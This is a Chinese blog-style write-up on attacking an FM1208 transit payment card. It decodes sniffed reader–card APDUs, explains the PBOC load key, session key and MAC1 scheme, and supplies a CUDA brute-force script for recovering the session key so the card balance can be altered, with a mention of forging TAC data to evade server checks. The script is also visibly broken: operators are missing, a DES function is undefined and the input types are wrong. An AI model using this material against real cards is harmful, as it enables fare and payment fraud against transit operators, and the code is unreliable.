实际上手尝试破解公交卡
为了提高公交卡的安全性，只为学习研究性质发表！
为什么想到破解公交卡，因为其使用fm1208卡片我正好研究中，也是现阶段的银行卡卡片芯片类型。下面我将直接介绍其破解过程而忽略原理的讲解。
一.抓包数据解析
🌟说明：黄色代表读卡机，白色代表卡片
除去26之类的响应和防冲突的指令不说了直接步入正题
@😊1
02 00 A4 04 00 08 A0 00 00 06 32 01 01 05 00 D4 23
这里从00开始表示选择文件，文件名为08后8字节数据（创建文件环境）
在交互中出现2次！响应报文数据域即一些简单信息不赘述了对破解没啥用
@😊2
02 00 B2 08 C4 17
这里从00开始，从00一直到结尾，中间的08好像是从01开始一直读数据
这里读的数据都是一些充值数据应该是做本地记录充值和消费信息（明文）
下面展示一段：
03 00 03 00 00 00 00 00 00 64 02 80 01 00 01 00 00 20 24 11 15 13 45 18 90 00 B0 DE
这一段就表示2024年11月15日13点45分18秒充值64（hex）表示十进制数100即1元
对于该数据不仅保存在卡片上也可能会保存在终端上，所以修改卡片上数据有可能可以刷
也有可能下次消费时直接被服务器端发现，这可能需要伪造tac数据发送至服务器防止被发现
目前没有研究，我主要研究更改卡上数据
还有类似的一两个指令都是查看一些信息就不再赘述了
@😊3
初始化圈存命令
03 80 50 00 02 0B 01 00 00 00 64 80 01 00 01 00 00 27 24
从80开始，cla 80 ； ins 50 ；p1 00 ；p2 02 表示电子钱包；lc 0B ；
01表示密钥标识符；00 00 00 64表示交易金额1元；1表示终端机编号。
响应报文数据域
03 00 00 01 68 00 04 01 00 9D F3 84 7C 2A 39 E0 5E 90 00 C1 AF
从00开始，00 00 01 68表示卡片余额为十六进制数168（十进制为360）即3.60元人民币
00 04表示电子钱包联机交易序号；01表示密钥版本号；00表示算法标识；9df3847c是卡片产生的伪随机数；2A39E05E为MAC1。
二.圈存原理解析
picc表示读卡机（主机）pcd表示卡片
picc和卡片都有一个load key但不直接使用
MAC是使用session key再通过pboc-mac加密得到
session key 是通过明文数据和随机数等通过load key
采用3des（2keys）加密得到的结果，其主要作用是生成MAC
MAC分为MAC1和MAC2，它们的作用是让picc和pcd各自验证彼此
然后完成圈存后卡片返回一个TAC到服务器，这里就先不研究了
先看卡片上数据如何更改，服务器方面有它的破解方法不一样
以上就是其原理的一般解析，下面我们理清数据实际破解一下
三.破解前的分析和数据整理
（1）第一小节
session key的明文数据00000168（旧余额）+00000064（交易金额）+02（交易类型电子钱包圈存）+800100010000（终端机编号）+80（凑够16字节加密使用）
session key的明文：00000168000000640280010001000080
session key的密文MAC1：2A39E05E（实际应该为16字节，由于只需要验证故只取前4字节）
使用的加密算法：ANSI x99
（2）第二小节
假设已经破解得到了session key，将其表示为SK
load key 的密文即经过3des加密得到的SK
load key 的加密算法3des加密
load key 的明文部分为 inputdata
明文为：9df3847c（卡片产生的随机数）+0004（联机交易序号）+8000（凑够8字节）
（3）第三小节
简单解释一下3des加密和ansi x99加密的原理
3des：密钥前半部分为k1后半部分为k2加密过程为先用k1加密再用k2解密最后再k1加密
解密的过程即将加密的过程反转。
ansix99：将数据打包分成几个八字节块然后与初始值进行异或后再des加密最后得出结果
from numba import cuda
import numpy as np
import time
import binascii
import sys
# CUDA 核心函数：PBOC-MAC 加密和密钥检查
@cuda.jit
def pboc_mac_kernel_with_progress(iv, plaintext, target, keys_per_thread, key_offset, results, found_flag, progress_counter):
idx = cuda.grid(1)
start_key = idx * keys_per_thread + key_offset
for key_index in range(keys_per_thread):
if found_flag[0]: # 如果找到密钥，提前退出
return
current_key = start_key + key_index
key = current_key.to_bytes(8, byteorder='big') # 转换为 8 字节密钥
# Step 1: 初始向量异或明文前 8 字节
xor_result = cuda.local.array(8, dtype=np.uint8)
for i in range(8):
xor_result[i] = plaintext[i] ^ iv[i]
# Step 2: DES 加密第一阶段
des1 = des_encrypt_device(key, xor_result)
# Step 3: 异或明文后 8 字节
xor_result2 = cuda.local.array(8, dtype=np.uint8)
for i in range(8):
xor_result2[i] = des1[i] ^ plaintext[8 + i]
# Step 4: DES 加密第二阶段
des2 = des_encrypt_device(key, xor_result2)
# 检查密文前 4 字节是否匹配目标
match = True
for i in range(4):
if des2[i] != target[i]:
match = False
break
if match:
# 记录结果
for i in range(8):
results[idx * 8 + i] = key[i]
found_flag[0] = 1
# 更新进度计数器
if idx 0 and key_index % 256 0:
cuda.atomic.add(progress_counter, 0, 1)
# 主程序：利用 GPU 并行破解密钥
def gpu_brute_force_with_progress(iv, plaintext, target_prefix):
num_keys = 2**24 # 测试较小的密钥空间（完整 2^64 空间需分片处理）
keys_per_thread = 256 # 每个线程尝试的密钥数量
threads_per_block = 256
blocks_per_grid = (num_keys + keys_per_thread threads_per_block - 1) // (keys_per_thread threads_per_block)
# 初始化数据
iv = np.frombuffer(iv, dtype=np.uint8)
plaintext = np.frombuffer(plaintext, dtype=np.uint8)
target_prefix = np.frombuffer(target_prefix, dtype=np.uint8)
results = np.zeros(blocks_per_grid threads_per_block 8, dtype=np.uint8)
found_flag = np.array([0], dtype=np.uint8)
progress_counter = np.array([0], dtype=np.uint32)
# 分配 GPU 内存
d_iv = cuda.to_device(iv)
d_plaintext = cuda.to_device(plaintext)
d_target = cuda.to_device(target_prefix)
d_results = cuda.to_device(results)
d_found_flag = cuda.to_device(found_flag)
d_progress_counter = cuda.to_device(progress_counter)
# 启动 CUDA 核心函数
start_time = time.time()
pboc_mac_kernel_with_progress[blocks_per_grid, threads_per_block](
d_iv, d_plaintext, d_target, keys_per_thread, 0, d_results, d_found_flag, d_progress_counter
)
cuda.synchronize()
end_time = time.time()
# 获取结果
results = d_results.copy_to_host()
found_flag = d_found_flag.copy_to_host()
progress_counter = d_progress_counter.copy_to_host()
# 汇总匹配密钥
matched_keys = []
for i in range(blocks_per_grid * threads_per_block):
if results[i 8: (i + 1) 8].any():
matched_keys.append(results[i 8: (i + 1) 8])
# 打印结果
print("\n--- 计算完成 ---")
print(f"总耗时: {end_time - start_time:.2f} 秒")
print(f"尝试密钥数: {num_keys}")
print(f"每秒尝试密钥: {num_keys / (end_time - start_time):.2f}")
print("匹配密钥列表:")
for key in matched_keys:
print(f"- {binascii.hexlify(key)}")
print("计算进度: 100%")
# 示例数据
iv = b'\x00' * 8 # 初始向量全为0
plaintext = b'000001680000006402800100010000' # 明文
partial_ciphertext = b'\x2A\x39\xE0\x5E' # 密文前4字节
# 执行优化后的穷举破解
gpu_brute_force_with_progress(iv, plaintext, partial_ciphertext)